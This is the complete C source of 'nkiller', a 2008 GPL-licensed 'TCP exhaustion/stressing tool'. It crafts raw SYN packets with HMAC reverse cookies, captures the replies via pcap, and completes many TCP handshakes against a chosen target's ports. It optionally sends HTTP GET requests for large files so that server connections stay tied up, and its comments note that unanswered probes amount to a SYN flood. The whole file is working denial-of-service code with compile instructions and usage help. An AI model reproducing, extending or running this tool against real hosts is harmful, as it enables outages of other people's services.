1 /*
2 * nkiller - a tcp exhaustion/stressing tool
3 * Copyright (C) 2008 ithilgore <ithilgore.ryu.L@gmail.com>
4 * Copyright (C) 2008 Giorgos Keramidas <gkeramidas@gmail.com>
5 *
6 * This program is free software: you can redistribute it and/or modify
7 * it under the terms of the GNU General Public License as published by
8 * the Free Software Foundation, either version 3 of the License, or
9 * (at your option) any later version.
10 *
11 * This program is distributed in the hope that it will be useful,
12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 * GNU General Public License for more details.
15 *
16 * You should have received a copy of the GNU General Public License
17 * along with this program. If not, see <http://www.gnu.org/licenses/>.
18 */
19
20 /*
21 * Theoretical Idea first posted here:
22 * bugtraq
23 *
24 * COMPILATION:
25 * gcc nkiller.c -o nkiller -lpcap -lssl -Wall -O2
26 *
27 * It has been tested and compiles successfully on Linux 2.6.26 and
28 * FreeBSD 6.2/8.0
29 */
30
31
32 /*
33 * Enable BSD-style (struct ip) support on Linux.
34 */
35 #ifdef __linux__
36 # ifndef __FAVOR_BSD
37 # define __FAVOR_BSD
38 # endif
39 # ifndef __USE_BSD
40 # define __USE_BSD
41 # endif
42 # ifndef _BSD_SOURCE
43 # define _BSD_SOURCE
44 # endif
45 # define IPPORT_MAX 65535u
46 #endif
47
48
49 #include <sys/types.h>
50 #include <sys/socket.h>
51
52 #include <arpa/inet.h>
53 #include <netinet/in.h>
54 #include <netinet/in_systm.h>
55 #include <netinet/ip.h>
56 #include <netinet/tcp.h>
57
58 #include <openssl/hmac.h>
59
60 #include <errno.h>
61 #include <pcap.h>
62 #include <stdarg.h>
63 #include <stdio.h>
64 #include <stdlib.h>
65 #include <string.h>
66 #include <sysexits.h>
67 #include <time.h>
68 #include <unistd.h>
69
70
71 #define DEFAULT_KEY "NETDOS1337"
72 #define DEFAULT_NUM_PROBES 100
73 #define DEFAULT_POLLTIME 100000
74 #define DEFAULT_SLEEP_TIME 10000
75
76 #define WEB_PAYLOAD "GET / HTTP/1.0\015\012\015\012"
77
78 /* Timeval subtraction in microseconds */
79 #define TIMEVAL_SUBTRACT(a, b) \
80 (((a).tv_sec - (b).tv_sec) * 1000000L + (a).tv_usec - (b).tv_usec)
81
82 /*
83 * Pseudo-header used for checksumming; this header should never reach the
84 * wire
85 */
86 typedef struct pseudo_hdr {
87 uint32_t src;
88 uint32_t dst;
89 unsigned char mbz;
90 unsigned char proto;
91 uint16_t len;
92 } pseudo_hdr;
93
94
95 /*
96 * Ethernet header stuff.
97 */
98 #define ETHER_ADDR_LEN 6
99 #define SIZE_ETHERNET 14
100 typedef struct ethernet {
101 u_char ether_dhost[ETHER_ADDR_LEN]; /* Destination host address */
102 u_char ether_shost[ETHER_ADDR_LEN]; /* Source host address */
103 u_short ether_type; /* Frame type */
104 } ether_hdr;
105
106
107 /*
108 * Global nkiller options struct
109 */
110 typedef struct Options {
111 char target[16];
112 char skey[30];
113 char payload[200];
114 char url[200];
115 uint16_t *portlist;
116 unsigned int probes; /* total number of fully-connected probes */
117 unsigned int polltime;
118 unsigned int sleep; /* sleep time between each probe */
119 int dynamic; /* remove ports from list when we get RST */
120 int delay;
121 int verbose;
122 int debug; /* some debugging info */
123 int debug2; /* ALL debugging info */
124 } Options;
125
126 /*
127 * Port list types
128 */
129 typedef struct port_elem {
130 uint16_t port_val;
131 struct port_elem *next;
132 } port_elem;
133
134 typedef struct port_list {
135 port_elem *first;
136 port_elem *last;
137 } port_list;
138
139 /*
140 * Per-host information
141 */
142 typedef struct HostInfo {
143 struct in_addr daddr; /* ip address */
144 char *payload;
145 char *url;
146 size_t plen; /* payload length */
147 size_t wlen; /* url request length */
148 port_list ports; /* linked list of ports */
149 unsigned int portlen; /* how many ports */
150 } HostInfo;
151
152
153 typedef struct SniffInfo {
154 struct in_addr saddr; /* local ip */
155 pcap_if_t *dev;
156 pcap_t *pd;
157 unsigned int polltime; /* how many microsecods to poll pcap */
158 } SniffInfo;
159
160
161 typedef struct Sock {
162 struct in_addr saddr;
163 struct in_addr daddr;
164 uint16_t sport;
165 uint16_t dport;
166 } Sock;
167
168
169 /* global vars */
170 Options o;
171
172
173 /**** function declarations ****/
174
175 /* helper functions */
176 static void fatal(const char *fmt, ...);
177 static void usage(void);
178 static void help(void);
179 static void *xcalloc(size_t nelem, size_t size);
180 static void *xmalloc(size_t size);
181
182 /* port-handling functions */
183 static void port_add(HostInfo *Target, uint16_t port);
184 static void port_remove(HostInfo *Target, uint16_t port);
185 static int port_exists(HostInfo *Target, uint16_t port);
186 static uint16_t port_get_random(HostInfo *Target);
187 static uint16_t *port_parse(char *portarg, unsigned int *portlen);
188
189 /* packet helper functions */
190 static uint16_t checksum_comp(uint16_t *addr, int len);
191 static void handle_payloads(HostInfo *Target);
192 static uint32_t calc_cookie(Sock *sockinfo);
193
194 /* sniffing functions */
195 static char *check_replies(HostInfo *Target, SniffInfo *Sniffer);
196 static void sniffer_init(HostInfo *Target, SniffInfo *Sniffer);
197
198 /* packet handling functions */
199 static void send_packet(char* packet, unsigned int *packetlen);
200 static void send_syn_probe(HostInfo *Target, SniffInfo *Sniffer);
201 static int complete_connection(char *reply, HostInfo *Target);
202 static char *build_tcpip_packet(const struct in_addr *source,
203 const struct in_addr *target, uint16_t sport, uint16_t dport,
204 uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid,
205 uint16_t window, uint8_t flags, char *tcpdata, uint16_t datalen,
206 unsigned int *packetlen);
207
208
209 /**** function definitions ****/
210
211 /*!
212 * \brief Wrapper around calloc() that calls fatal when out of memory
213 */
214 static void *
215 xcalloc(size_t nelem, size_t size)
216 {
217 void *p;
218
219 p = calloc(nelem, size);
220 if (p == NULL)
221 fatal("Out of memory\n");
222 return p;
223 }
224
225 /*!
226 * \brief Wrapper around xcalloc() that calls fatal() when out of memory
227 */
228 static void *
229 xmalloc(size_t size)
230 {
231 return xcalloc(1, size);
232 }
233
234 /*
235 * vararg function called when sth _evil_ happens
236 * usually in conjunction with __func__ to note
237 * which function caused the RIP stat
238 */
239 static void
240 fatal(const char *fmt, ...)
241 {
242 va_list ap;
243 va_start(ap, fmt);
244 (void) vfprintf(stderr, fmt, ap);
245 va_end(ap);
246 exit(EXIT_FAILURE);
247 }
248
249
250 /*
251 * brief print a short usage summary and exit
252 */
253 static void
254 usage(void)
255 {
256 fprintf(stderr,
257 "nkiller [-t addr] [-p ports] [-k key] [-n probes] [-c msec]\n"
258 " [-l payload] [-w url] [-s sleep] [-d level] [-hvy]\n"
259 "Please use `-h' for detailed help.\n");
260 exit(EX_USAGE);
261 }
262
263
264 /*!
265 * \brief Print detailed help
266 */
267 static void
268 help(void)
269 {
270 static const char *help_message =
271 "nkiller - a TCP exhaustion & stressing tool\n"
272 "\n"
273 "Copyright (c) 2008 ithilgore <ithilgore.ryu.L@gmail.com>\n"
274 "\n"
275 "nkiller is free software, covered by the GNU General Public License,\n"
276 "and you are welcome to change it and/or distribute copies of it under\n"
277 "certain conditions. See the file `COPYING' in the source\n"
278 "distribution of nkiller for the conditions and terms that it is\n"
279 "distributed under.\n"
280 "\n"
281 " WARNING:\n"
282 "The authors disclaim any express or implied warranties, including,\n"
283 "but not limited to, the implied warranties of merchantability and\n"
284 "fitness for any particular purpose. In no event shall the authors or\n"
285 "contributors be liable for any direct, indirect, incidental, special,\n"
286 "exemplary, or consequential damages (including, but not limited to,\n"
287 "procurement of substitute goods or services; loss of use, data, or\n"
288 "profits; or business interruption) however caused and on any theory\n"
289 "of liability, whether in contract, strict liability, or tort\n"
290 "(including negligence or otherwise) arising in any way out of the use\n"
291 "of this software, even if advised of the possibility of such damage.\n"
292 "\n"
293 "Usage:\n"
294 "\n"
295 " nkiller -t <target> -p <ports> [options]\n"
296 "\n"
297 "Mandatory:\n"
298 " -t target The IP address of the target host.\n"
299 " -p port[,port] A list of ports, separated by commas. Specify\n"
300 " only ports that are known to be open, or use -y\n"
301 " when unsure.\n"
302 "Options:\n"
303 " -c msec Set the time, in microseconds, between each poll\n"
304 " for packets (pcap poll timeout).\n"
305 " -d level Set the debug level (1: some messages, 2: all)\n"
306 " -h Print this help message.\n"
307 " -k key Set the key for reverse SYN cookies.\n"
308 " -l payload Additional payload string.\n"
309 " -n probes Set the number of probe attempts.\n"
310 " -s sleep Average time in microseconds between each probe.\n"
311 " -w url URL or GET request to web server. The location\n"
312 " a big file should work nicely here.\n"
313 " -y Dynamic port handling. Remove ports from the\n"
314 " port list if we get an RST for them. Useful when\n"
315 " you do not know if the port is open for sure.\n"
316 " -v Verbose mode.\n";
317
318 printf("%s", help_message);
319 fflush(stdout);
320 }
321
322
323 /*!
324 * \brief Build a TCP packet from its constituents
325 */
326 static char *
327 build_tcpip_packet(const struct in_addr *source,
328 const struct in_addr *target, uint16_t sport, uint16_t dport,
329 uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid,
330 uint16_t window, uint8_t flags, char *data, uint16_t datalen,
331 unsigned int *packetlen)
332 {
333 char *packet;
334 struct ip *ip;
335 struct tcphdr *tcp;
336 pseudo_hdr *phdr;
337 char *tcpdata;
338
339 *packetlen = sizeof(*ip) + sizeof(*tcp) + datalen;
340 packet = xmalloc(*packetlen + sizeof(*phdr));
341 ip = (struct ip *)packet;
342 tcp = (struct tcphdr *) ((char *)ip + sizeof(*ip));
343 tcpdata = (char *) ((char *)tcp + sizeof(*tcp));
344
345 memset(packet, 0, *packetlen);
346
347 ip->ip_v = 4;
348 ip->ip_hl = 5;
349 ip->ip_tos = 0;
350 ip->ip_len = *packetlen; /* must be in host byte order for FreeBSD */
351 ip->ip_id = htons(ipid); /* kernel will fill with random value if 0 */
352 ip->ip_off = 0;
353 ip->ip_ttl = ttl;
354 ip->ip_p = IPPROTO_TCP;
355 ip->ip_sum = checksum_comp((unsigned short *)ip, sizeof(struct ip));
356 ip->ip_src.s_addr = source->s_addr;
357 ip->ip_dst.s_addr = target->s_addr;
358
359 tcp->th_sport = htons(sport);
360 tcp->th_dport = htons(dport);
361 tcp->th_seq = seq;
362 tcp->th_ack = ack;
363 tcp->th_x2 = 0;
364 tcp->th_off = 5;
365 tcp->th_flags = flags;
366 tcp->th_win = htons(window);
367 tcp->th_urp = 0;
368
369 memcpy(tcpdata, data, datalen);
370
371 /* pseudo header used for checksumming */
372 phdr = (struct pseudo_hdr *) ((char *)packet + *packetlen);
373 phdr->src = source->s_addr;
374 phdr->dst = target->s_addr;
375 phdr->mbz = 0;
376 phdr->proto = IPPROTO_TCP;
377 phdr->len = ntohs(sizeof(*tcp) + datalen);
378 /* tcp checksum */
379 tcp->th_sum = checksum_comp((unsigned short *)tcp,
380 *packetlen - sizeof(*ip) + sizeof(*phdr));
381
382 return packet;
383 }
384
385
386 static void
387 send_packet(char* packet, unsigned int *packetlen)
388 {
389 struct sockaddr_in sin;
390 int sockfd, one;
391
392 sin.sin_family = AF_INET;
393 sin.sin_port = ((struct tcphdr *)(packet + sizeof(struct ip)))->th_dport;
394 sin.sin_addr.s_addr = ((struct ip *)(packet))->ip_dst.s_addr;
395
396 if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
397 fatal("cannot open socket");
398
399 one = 1;
400 setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *) &one,
401 sizeof(one));
402
403 if (sendto(sockfd, packet, *packetlen, 0,
404 (struct sockaddr *)&sin, sizeof(sin)) < 0) {
405 fatal("sendto error: ");
406 }
407 close(sockfd);
408 free(packet);
409 }
410
411
412 static void
413 send_syn_probe(HostInfo *Target, SniffInfo *Sniffer)
414 {
415 char *packet;
416 uint16_t sport, dport;
417 uint32_t encoded_seq;
418 unsigned int packetlen;
419 Sock *sockinfo;
420
421 sockinfo = xmalloc(sizeof(*sockinfo));
422
423
424 sport = (1024 + rand()) % 65536;
425 dport = port_get_random(Target);
426
427 /* calculate reverse cookie and encode value into sequence number */
428 sockinfo->saddr.s_addr = Sniffer->saddr.s_addr;
429 sockinfo->daddr.s_addr = Target->daddr.s_addr;
430 sockinfo->sport = sport;
431 sockinfo->dport = dport;
432 encoded_seq = calc_cookie(sockinfo);
433
434 packet = build_tcpip_packet(
435 &Sniffer->saddr,
436 &Target->daddr,
437 sport,
438 dport,
439 encoded_seq,
440 0,
441 64,
442 rand() % (uint16_t)~0,
443 1024,
444 TH_SYN,
445 NULL,
446 0,
447 &packetlen
448 );
449
450 send_packet(packet, &packetlen);
451
452 free(sockinfo);
453 }
454
455
456 /* perform pcap polling (until a certain timeout) and
457 * return the packet you got - also check that the
458 * packet we get is something we were expecting, according
459 * to the reverse cookie we had set in the tcp seq field
460 */
461 static char *
462 check_replies(HostInfo *Target, SniffInfo *Sniffer)
463 {
464
465 int timedout = 0;
466 int goodone = 0;
467 const u_char *packet = NULL;
468 char *reply = NULL;
469 struct pcap_pkthdr phead;
470 struct timeval now, wait;
471 const struct ip *ip;
472 const struct tcphdr *tcp;
473 struct Sock sockinfo;
474 uint32_t decoded_seq;
475 uint32_t temp1, temp2;
476 uint16_t datagram_len;
477
478
479 if (gettimeofday(&wait, NULL) < 0)
480 fatal("couldn't get time of day\n"); /* this shouldn't happen */
481 wait.tv_usec += Sniffer->polltime; /* poll for $polltime micro seconds */
482
483 do {
484 datagram_len = 0;
485 packet = pcap_next(Sniffer->pd, &phead);
486 if (gettimeofday(&now, NULL) < 0)
487 fatal("couldn't get time of day\n");
488 if (TIMEVAL_SUBTRACT(wait, now) < 0) {
489 /* if (o.debug2)
490 (void) fprintf(stdout, "pcap polling timed out\n"); */
491 timedout++;
492 }
493
494 if (packet == NULL)
495 continue;
496
497 /* this only works on Ethernet - be warned */
498 if (*(packet + 12) != 0x8) {
499 break; /* not an IPv4 packet */
500 }
501
502 ip = (const struct ip *) (packet + SIZE_ETHERNET);
503
504 /* ip/tcp header checking - end cases are more than the ones
505 * checked below - but are so rarely happening that for
506 * now we won't go into trouble to validate - could also
507 * use validedpkt() from nmap/tcpip.cc
508 */
509 if (ip->ip_hl < 5) {
510 if (o.debug2)
511 (void) fprintf(stderr, "ip header < 20 bytes\n");
512 break;
513 }
514 if (ip->ip_p != IPPROTO_TCP) {
515 if (o.debug2)
516 (void) fprintf(stderr, "packet not TCP\n");
517 break;
518 }
519
520 datagram_len = ntohs(ip->ip_len); /* save length for later */
521
522 tcp = (const void *) ((const char *)ip + ip->ip_hl * 4);
523 if (tcp->th_off < 5) {
524 if (o.debug2)
525 (void) fprintf(stderr, "tcp header < 20 bytes\n");
526 break;
527 }
528 if (tcp->th_flags & TH_ACK) {
529
530 /* we swap the values accordingly since we want to
531 * check the result with the 4tuple we had created
532 * when sending our own syn probe
533 */
534 sockinfo.saddr.s_addr = ip->ip_dst.s_addr;
535 sockinfo.daddr.s_addr = ip->ip_src.s_addr;
536 sockinfo.sport = ntohs(tcp->th_dport);
537 sockinfo.dport = ntohs(tcp->th_sport);
538 decoded_seq = calc_cookie(&sockinfo);
539
540
541 temp1 = ntohl(tcp->th_ack) - 1;
542 temp2 = ntohl(decoded_seq);
543 /* there is a problem when comparing directly two
544 * values returned by the ntohl functions - thus the
545 * need of temp
546 */
547 if (temp1 != temp2)
548 break;
549
550 /* that's our packet: a reply to something we have sent */
551
552 if (o.dynamic && port_exists(Target, sockinfo.dport)) {
553 if (o.debug2)
554 (void) fprintf(stderr, "port doesn't "
555 "exist in list - probably removed it "
556 "before due to an RST and dynamic "
557 "handling\n");
558 break;
559 }
560
561 if (tcp->th_flags & TH_SYN) {
562 goodone++;
563 if (o.debug)
564 (void) fprintf(stdout,
565 "got SYN packet with seq: %x our port: "
566 "%u target port: %u\n", decoded_seq,
567 sockinfo.sport, sockinfo.dport);
568
569 } else if (tcp->th_flags & TH_RST) {
570 /* if we get an RST packet this means port is
571 * closed and thus we remove the port from our
572 * port list
573 */
574 if (o.debug2)
575 (void) fprintf(stdout,
576 "oh oh! got an RST packet with seq: %x"
577 " port %u is closed\n",decoded_seq,
578 sockinfo.dport);
579 if (o.dynamic)
580 port_remove(Target, sockinfo.dport);
581 }
582 }
583 } while (!timedout && !goodone);
584
585 if (goodone) {
586 reply = xmalloc(datagram_len);
587 memcpy(reply, packet + SIZE_ETHERNET, datagram_len);
588 }
589
590 /* return the IP datagram */
591 return reply;
592 }
593
594
595
596
597 /* complete 3way handshake on the given port,
598 * assuming that we get a valid packet from the caller
599 * the (char *reply) is the ACK datagram (2nd step of handshake)
600 */
601 static int
602 complete_connection(char *reply, HostInfo *Target)
603 {
604 char *packet;
605 unsigned int packetlen;
606 uint32_t ack;
607 struct ip *ip;
608 struct tcphdr *tcp;
609
610 ip = (struct ip *) reply;
611 tcp = (struct tcphdr *) ((char *)ip + ip->ip_hl * 4);
612 ack = ntohl(tcp->th_seq) + 1;
613
614
615 packet = build_tcpip_packet(
616 &ip->ip_dst, /* mind the swapping */
617 &ip->ip_src,
618 ntohs(tcp->th_dport),
619 ntohs(tcp->th_sport),
620 tcp->th_ack, /* as seq field */
621 htonl(ack),
622 64,
623 rand() % (uint16_t)~0,
624 1024,
625 TH_ACK,
626 (ntohs(tcp->th_sport) == 80)?Target->url:Target->payload,
627 (ntohs(tcp->th_sport) == 80)?Target->wlen:Target->plen,
628 &packetlen
629 );
630
631 send_packet(packet, &packetlen);
632
633 return 0;
634 }
635
636 /* reverse(or client) syn_cookie function - encode the 4tuple
637 * { src ip, src port, dst ip, dst port } and a secret key into the sequence
638 * number, thus keeping info of the packet inside itself
639 * (idea taken by scanrand)
640 */
641 static uint32_t
642 calc_cookie(Sock *sockinfo)
643 {
644
645 uint32_t seq;
646 unsigned int cookie_len;
647 unsigned int input_len;
648 unsigned char *input;
649 unsigned char cookie[EVP_MAX_MD_SIZE];
650
651 input_len = sizeof(*sockinfo);
652 input = xmalloc(input_len);
653 memcpy(input, sockinfo, sizeof(*sockinfo));
654
655 /* calculate a sha1 hash based on the quadruple and the skey */
656 HMAC(EVP_sha1(), (char *)o.skey, strlen(o.skey), input, input_len,
657 cookie, &cookie_len);
658
659 free(input);
660
661 /* get only the first 32 bits of the sha1 hash */
662 memcpy(&seq, &cookie, sizeof(seq));
663 return seq;
664 }
665
666
667 static void
668 sniffer_init(HostInfo *Target, SniffInfo *Sniffer)
669 {
670 char errbuf[PCAP_ERRBUF_SIZE];
671 struct bpf_program bpf;
672 struct pcap_addr *address;
673 struct sockaddr_in *ip;
674 char filter[27];
675
676 strcpy((char *)&filter, "src host ");
677 strncpy((char *)&filter[9], inet_ntoa(Target->daddr), 16);
678 if (o.debug)
679 (void) fprintf(stdout, "filter: %s\n", filter);
680
681 if ((pcap_findalldevs(&Sniffer->dev, errbuf)) == -1)
682 fatal("%s: pcap_findalldevs(): %s\n", __func__, errbuf);
683
684 address = Sniffer->dev->addresses;
685 address = address->next; /* first address is garbage */
686
687 if (address->addr) {
688 ip = (struct sockaddr_in *) address->addr;
689 memcpy(&Sniffer->saddr, &ip->sin_addr, sizeof(struct in_addr));
690 if (o.verbose) {
691 (void) fprintf(stdout, "local IP: %s\ndevice name: "
692 "%s\n", inet_ntoa(Sniffer->saddr), Sniffer->dev->name);
693 }
694 } else
695 fatal("%s: couldn't find associated IP with interface %s\n",
696 __func__, Sniffer->dev->name);
697
698 if ((Sniffer->pd =
699 pcap_open_live(Sniffer->dev->name, BUFSIZ, 0, 0, errbuf)) == NULL)
700 fatal("%s: Could not open device %s: error: %s\n ", __func__,
701 Sniffer->dev->name, errbuf);
702
703 if (pcap_compile(Sniffer->pd , &bpf, filter, 0, 0) == -1)
704 fatal("%s: Couldn't parse filter %s: %s\n ", __func__, filter,
705 pcap_geterr(Sniffer->pd));
706
707 if (pcap_setfilter(Sniffer->pd, &bpf) == -1)
708 fatal("%s: Couldn't install filter %s: %s\n", __func__, filter,
709 pcap_geterr(Sniffer->pd));
710
711 if (pcap_setnonblock(Sniffer->pd, 1, NULL) < 0)
712 fprintf(stderr, "couldn't set nonblocking mode\n");
713 }
714
715
716 static uint16_t *
717 port_parse(char *portarg, unsigned int *portlen)
718 {
719 char *endp;
720 uint16_t *ports;
721 unsigned int nports;
722 unsigned long pvalue;
723 char *temp;
724 *portlen = 0;
725
726 ports = xmalloc(65535 * sizeof(uint16_t));
727 nports = 0;
728
729 while (nports < 65535) {
730 if (nports == 0)
731 temp = strtok(portarg, ",");
732 else
733 temp = strtok(NULL, ",");
734
735 if (temp == NULL)
736 break;
737
738 endp = NULL;
739 pvalue = strtoul(temp, &endp, 0);
740 if (errno != 0 || *endp != '\0') {
741 fprintf(stderr, "Invalid port number: %s\n",
742 temp);
743 goto cleanup;
744 }
745
746 if (pvalue > IPPORT_MAX) {
747 fprintf(stderr, "Port number too large: %s\n",
748 temp);
749 goto cleanup;
750 }
751
752 ports[nports++] = (uint16_t)pvalue;
753 }
754 if (portlen != NULL)
755 *portlen = nports;
756 return ports;
757
758 cleanup:
759 free(ports);
760 return NULL;
761 }
762
763
764 /*
765 * check if port is in list
766 * return 0 if it is, -1 if not
767 * (similar to port_remove in logic)
768 */
769 static int
770 port_exists(HostInfo *Target, uint16_t port)
771 {
772 port_elem *current;
773 port_elem *before;
774
775 current = Target->ports.first;
776 before = Target->ports.first;
777
778 while (current->port_val != port && current->next != NULL) {
779 before = current;
780 current = current->next;
781 }
782
783 if (current->port_val != port && current->next == NULL) {
784 if (o.verbose)
785 (void) fprintf(stderr, "%s: port %u doesn't exist in "
786 "list\n", __func__, port);
787 return -1;
788 } else
789 return 0;
790 }
791
792
793 /* remove specific port from portlist */
794 static void
795 port_remove(HostInfo *Target, uint16_t port)
796 {
797 port_elem *current;
798 port_elem *before;
799
800 current = Target->ports.first;
801 before = Target->ports.first;
802
803 while (current->port_val != port && current->next != NULL) {
804 before = current;
805 current = current->next;
806 }
807
808 if (current->port_val != port && current->next == NULL) {
809 if (current != Target->ports.first) {
810 if (o.verbose)
811 (void) fprintf(stderr, "port %u not found in "
812 "list\n", port);
813 return;
814 }
815 }
816
817 if (current != Target->ports.first) {
818 before->next = current->next;
819 } else {
820 Target->ports.first = current->next;
821 }
822 Target->portlen--;
823 if (!Target->portlen)
824 fatal("no port left to hit!\n");
825 }
826
827
828 /*
829 * add new port to port linked list of Target
830 */
831 static void
832 port_add(HostInfo *Target, uint16_t port)
833 {
834 port_elem *current;
835 port_elem *newNode;
836
837 newNode = xmalloc(sizeof(*newNode));
838
839 newNode->port_val = port;
840 newNode->next = NULL;
841
842 if (Target->ports.first == NULL) {
843 Target->ports.first = newNode;
844 Target->ports.last = newNode;
845 return;
846 }
847
848 current = Target->ports.last;
849 current->next = newNode;
850 Target->ports.last = newNode;
851 }
852
853
854 /* return a random port from portlist */
855 static uint16_t
856 port_get_random(HostInfo *Target)
857 {
858 port_elem *temp;
859 int i, offset;
860
861 temp = Target->ports.first;
862 offset = (rand() % Target->portlen);
863 i = 0;
864 while (i < offset) {
865 temp = temp->next;
866 i++;
867 }
868 return temp->port_val;
869 }
870
871
872 static void
873 handle_payloads(HostInfo *Target)
874 {
875
876 if (o.payload[0]) {
877 Target->plen = strlen(o.payload);
878 Target->payload = xmalloc(Target->plen);
879 strncpy(Target->payload, o.payload, Target->plen);
880 } else {
881 Target->payload = NULL;
882 Target->plen = 0;
883 }
884
885 /* send payload for additional stressing, if we deal with a web server */
886 if (o.url[0]) {
887 Target->wlen = strlen(o.url) +
888 sizeof("GET HTTP/1.0\015\012\015\012") - 1;
889 Target->url = xmalloc(Target->wlen + 1);
890 /* + 1 for trailing '\0' of snprintf() */
891 snprintf(Target->url, Target->wlen + 1,
892 "GET %s HTTP/1.0\015\012\015\012", o.url);
893 } else {
894 Target->wlen = sizeof(WEB_PAYLOAD) - 1;
895 Target->url = xmalloc(Target->wlen);
896 memcpy(Target->url, WEB_PAYLOAD, Target->wlen);
897 }
898
899 }
900
901
902 /* no way you have seen this before! */
903 static uint16_t
904 checksum_comp(uint16_t *addr, int len)
905 {
906
907 register long sum = 0;
908 uint16_t checksum;
909 int count = len;
910 uint16_t temp;
911
912 while (count > 1) {
913 temp = *addr++;
914 sum += temp;
915 count -= 2;
916 }
917 if (count > 0)
918 sum += *(char *) addr;
919
920 while (sum >> 16)
921 sum = (sum & 0xffff) + (sum >> 16);
922
923 checksum = ~sum;
924 return checksum;
925 }
926
927
928 int
929 main(int argc, char **argv)
930 {
931 int print_help;
932 int opt;
933 int required;
934 int debug_level;
935 size_t i;
936 unsigned int portlen;
937 unsigned int probes;
938 HostInfo *Target;
939 SniffInfo *Sniffer;
940 char *reply;
941
942
943 srand(time(0));
944
945 if (argc == 1) {
946 usage();
947 }
948
949 memset(&o, 0, sizeof(o));
950 required = 0;
951 portlen = 0;
952 print_help = 0;
953
954 /* option parsing */
955 while ((opt = getopt(argc, argv, "t:k:l:w:c:p:n:vd:s:yh")) != -1)
956 {
957 switch (opt)
958 {
959 case 't': /* target address */
960 strncpy(o.target, optarg, sizeof(o.target));
961 required++;
962 break;
963 case 'k': /* secret key */
964 strncpy(o.skey, optarg, sizeof(o.skey));
965 break;
966 case 'l': /* payload */
967 strncpy(o.payload, optarg, sizeof(o.payload) - 1);
968 break;
969 case 'w': /* url */
970 strncpy(o.url, optarg, sizeof(o.url) - 1);
971 break;
972 case 'c': /* polltime */
973 o.polltime = atoi(optarg);
974 break;
975 case 'p': /* destination port */
976 if (!(o.portlist = port_parse(optarg, &portlen)))
977 fatal("Couldn't parse ports!\n");
978 required++;
979 break;
980 case 'n': /* number of probes */
981 o.probes = atoi(optarg);
982 break;
983 case 'v': /* verbose mode */
984 o.verbose = 1;
985 break;
986 case 'd': /* debug mode */
987 debug_level = atoi(optarg);
988 if (debug_level != 1 && debug_level != 2)
989 fatal("debug level must be 1 or 2\n");
990 else if (debug_level == 1)
991 o.debug++;
992 else {
993 o.debug2++;
994 o.debug++;
995 }
996 break;
997 case 's': /* sleep time between each probe */
998 o.sleep = atoi(optarg);
999 break;
1000 case 'y': /* dynamic port handling */
1001 o.dynamic++;
1002 break;
1003 case 'h': /* help - usage */
1004 print_help = 1;
1005 break;
1006 case '?': /* error */
1007 usage();
1008 break;
1009 }
1010 }
1011
1012 if (print_help != 0) {
1013 help();
1014 exit(EXIT_SUCCESS);
1015 }
1016
1017 if (getuid() && geteuid())
1018 fatal("need to be root\n");
1019
1020 if (required < 2)
1021 fatal("must define both -t <target> and -p <portlist>\n");
1022
1023 if (!o.sleep) {
1024 o.sleep = DEFAULT_SLEEP_TIME;
1025 if (o.verbose)
1026 (void) fprintf(stdout, "using default sleep time %u "
1027 "microseconds\n", DEFAULT_SLEEP_TIME);
1028 }
1029
1030 Target = xmalloc(sizeof(HostInfo));
1031 Sniffer = xmalloc(sizeof(SniffInfo));
1032
1033 Target->portlen = portlen;
1034 for (i = 0; i < Target->portlen; i++) {
1035 port_add(Target, o.portlist[i]);
1036 }
1037
1038 inet_pton(AF_INET, o.target, &Target->daddr);
1039
1040 /* some option manipulation */
1041
1042 if (!o.skey[0]) {
1043 strncpy(o.skey, DEFAULT_KEY, sizeof(o.skey));
1044 if (o.verbose)
1045 (void) fprintf(stdout, "using default skey: %s\n",
1046 o.skey);
1047 }
1048
1049 if (o.polltime > 0)
1050 Sniffer->polltime = o.polltime;
1051 else {
1052 if (o.verbose)
1053 (void) fprintf(stdout, "using default pcap polling "
1054 "time: %u microseconds\n", DEFAULT_POLLTIME);
1055 Sniffer->polltime = DEFAULT_POLLTIME;
1056 }
1057
1058 if (o.probes > 0)
1059 probes = o.probes;
1060 else {
1061 if (o.verbose)
1062 (void) fprintf(stdout, "using default number of probes"
1063 ": %u\n", DEFAULT_NUM_PROBES);
1064 probes = DEFAULT_NUM_PROBES;
1065 }
1066
1067 handle_payloads(Target);
1068 sniffer_init(Target, Sniffer);
1069
1070 /* main loop */
1071 while (probes) {
1072 /* as it is, there is the possibility of sending more probes
1073 * than we get, since pcap polling might time out - and we only
1074 * care about completing as many requests as defined in $probes
1075 * the additional probes that have not been answered will either
1076 * create a syn flood or will have already been dropped
1077 */
1078 send_syn_probe(Target, Sniffer);
1079 usleep(o.sleep); /* wait a bit before each probe */
1080 reply = check_replies(Target, Sniffer);
1081 if (reply) {
1082 complete_connection(reply, Target);
1083 probes--; /* reduce probes left when we actually
1084 * complete a handshake */
1085 free(reply);
1086 }
1087 }
1088
1089 exit(EXIT_SUCCESS);
1090 }
1091
1092